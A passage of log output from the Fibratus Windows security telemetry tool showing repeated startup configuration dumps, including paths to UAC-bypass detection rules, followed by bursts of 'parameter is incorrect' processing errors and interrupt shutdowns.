macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 level=>info max-size=>100 formatter=>text max-backups=>15] + output ......................... [ amqp=>[ timeout=>5s delivery-mode=>transient passive=>false vhost=>/ routing-key=>fibratus durable=>false enabled=>false tls-insecure-skip-verify=>false exchange-type=>topic url=>amqp://localhost:5672 exchange=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ healthcheck=>true index-name=>fibratus healthcheck-interval=>10s flush-period=>1s bulk-workers=>1 timeout=>5s trace-log=>false healthcheck-timeout=>5s template-name=>fibratus sniff=>false enabled=>false gzip-compression=>false servers=>[http://127.0.0.1:9200]] http=>[ timeout=>5s tls-insecure-skip-verify=>false method=>POST endpoints=>[] enable-gzip=>false serializer=>json enabled=>false]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false excluded-procs=>[] fastscan=>true skip-files=>false scan-timeout=>10s skip-allocs=>false skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T01:00:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:00:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:00:33+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:00:33+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:00:33+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:00:33+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:00:33+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:00:33+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:00:33+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:00:33+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:00:33+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:00:33+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:00:33+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:00:33+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:05:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T01:05:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:05:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:33:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T01:33:33+01:00 level=info msg=bootstrapping with pid 16700. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T01:33:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html use-template=>true port=>25 to=>[]] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-net=>true enable-vamap=>true max-buffers=>36 enable-dns=>false enable-audit-api=>true enable-mem=>true flush-interval=>1s min-buffers=>16 stack-enrichment=>true buffer-size=>512 enable-thread=>true enable-fileio=>true enable-image=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 log-stdout=>true max-backups=>15 level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ enabled=>false timeout=>5s endpoints=>[] method=>POST serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false] amqp=>[ routing-key=>fibratus tls-insecure-skip-verify=>false enabled=>false durable=>false exchange=>fibratus exchange-type=>topic url=>amqp://localhost:5672 timeout=>5s delivery-mode=>transient passive=>false vhost=>/] elasticsearch=>[ trace-log=>false healthcheck-timeout=>5s template-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] index-name=>fibratus gzip-compression=>false bulk-workers=>1 sniff=>false flush-period=>1s enabled=>false healthcheck=>true timeout=>5s] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false enabled=>false skip-mmaps=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true excluded-files=>[] scan-timeout=>10s excluded-procs=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T01:33:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:33:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:33:48+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:33:48+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:33:48+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:33:48+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:33:48+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:33:48+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:33:48+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:33:48+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:33:48+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:33:48+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:33:48+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:33:48+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:34:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T01:34:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:34:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:35:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T01:35:38+01:00 level=info msg=bootstrapping with pid 6156. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T01:35:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-dns=>false enable-image=>true enable-threadpool=>false flush-interval=>1s enable-fileio=>true min-buffers=>16 enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-thread=>true buffer-size=>512 stack-enrichment=>true enable-net=>true enable-mem=>true enable-audit-api=>true enable-registry=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 level=>info log-stdout=>true max-backups=>15] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/ enabled=>false exchange-type=>topic durable=>false routing-key=>fibratus exchange=>fibratus passive=>false timeout=>5s] elasticsearch=>[ flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck-interval=>10s gzip-compression=>false template-name=>fibratus bulk-workers=>1 healthcheck=>true timeout=>5s enabled=>false trace-log=>false index-name=>fibratus sniff=>false] eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json method=>POST tls-insecure-skip-verify=>false timeout=>5s enabled=>false endpoints=>[] enable-gzip=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-files=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false excluded-procs=>[] enabled=>false fastscan=>true scan-timeout=>10s skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T01:35:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:35:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:35:45+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:35:45+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:35:45+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:35:45+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:35:45+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:35:45+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:35:45+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:35:45+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:35:45+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:35:45+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:35:45+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:35:45+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:36:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T01:36:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:36:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:40:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T01:40:18+01:00 level=info msg=bootstrapping with pid 9636. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T01:40:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-mem=>true enable-thread=>true enable-registry=>true enable-vamap=>true enable-net=>true enable-image=>true stack-enrichment=>true min-buffers=>16 enable-audit-api=>true max-buffers=>36 enable-threadpool=>false enable-handle=>false enable-fileio=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true level=>info max-age=>0 max-backups=>15] + output ......................... [ http=>[ endpoints=>[] timeout=>5s method=>POST serializer=>json enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] template-name=>fibratus bulk-workers=>1 timeout=>5s sniff=>false index-name=>fibratus trace-log=>false healthcheck-timeout=>5s enabled=>false healthcheck-interval=>10s healthcheck=>true gzip-compression=>false flush-period=>1s] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ enabled=>false durable=>false exchange=>fibratus exchange-type=>topic delivery-mode=>transient passive=>false timeout=>5s tls-insecure-skip-verify=>false vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false fastscan=>true skip-allocs=>false excluded-files=>[] skip-files=>false enabled=>false skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-27T01:40:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:40:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:40:25+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:40:25+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:40:25+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:40:25+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:40:25+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:40:25+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:40:25+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:40:25+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:40:25+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:40:25+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:40:25+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:40:25+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:41:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T01:41:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:41:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:43:12+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T01:43:12+01:00 level=info msg=bootstrapping with pid 14256. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T01:43:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html port=>25 enabled=>false to=>[]] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ min-buffers=>16 enable-fileio=>true enable-threadpool=>false max-buffers=>36 enable-net=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true buffer-size=>512 enable-dns=>false enable-vamap=>true enable-mem=>true enable-thread=>true enable-registry=>true flush-interval=>1s enable-handle=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 formatter=>text max-age=>0 log-stdout=>true max-backups=>15] + output ......................... [ http=>[ endpoints=>[] tls-insecure-skip-verify=>false method=>POST enabled=>false serializer=>json enable-gzip=>false timeout=>5s] amqp=>[ enabled=>false exchange=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic vhost=>/ routing-key=>fibratus passive=>false durable=>false timeout=>5s url=>amqp://localhost:5672 delivery-mode=>transient] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ bulk-workers=>1 sniff=>false gzip-compression=>false enabled=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s healthcheck-interval=>10s flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true trace-log=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-allocs=>false fastscan=>true excluded-procs=>[] excluded-files=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false scan-timeout=>10s skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T01:43:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:43:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:43:18+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:43:18+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:43:18+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:43:18+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:43:18+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:43:18+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:43:18+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:43:18+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:43:18+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:43:18+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:43:18+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:43:18+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:43:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T01:43:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:43:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:45:06+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T01:45:06+01:00 level=info msg=bootstrapping with pid 16196. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T01:45:06+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-audit-api=>true max-buffers=>36 enable-threadpool=>false enable-vamap=>true enable-registry=>true enable-mem=>true enable-net=>true enable-image=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-dns=>false buffer-size=>512 enable-fileio=>true enable-thread=>true enable-handle=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 level=>info max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s template-name=>fibratus healthcheck-timeout=>5s healthcheck=>true index-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false timeout=>5s bulk-workers=>1 trace-log=>false enabled=>false sniff=>false flush-period=>1s] http=>[ tls-insecure-skip-verify=>false enabled=>false method=>POST serializer=>json endpoints=>[] enable-gzip=>false timeout=>5s] amqp=>[ vhost=>/ exchange=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false durable=>false routing-key=>fibratus passive=>false timeout=>5s exchange-type=>topic] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-allocs=>false enabled=>false skip-registry=>false excluded-files=>[] fastscan=>true skip-mmaps=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-27T01:45:06+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:45:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:45:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:45:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:45:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:45:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:45:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:45:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:45:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:45:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:45:15+01:00 level=error msg=event processing failure: The 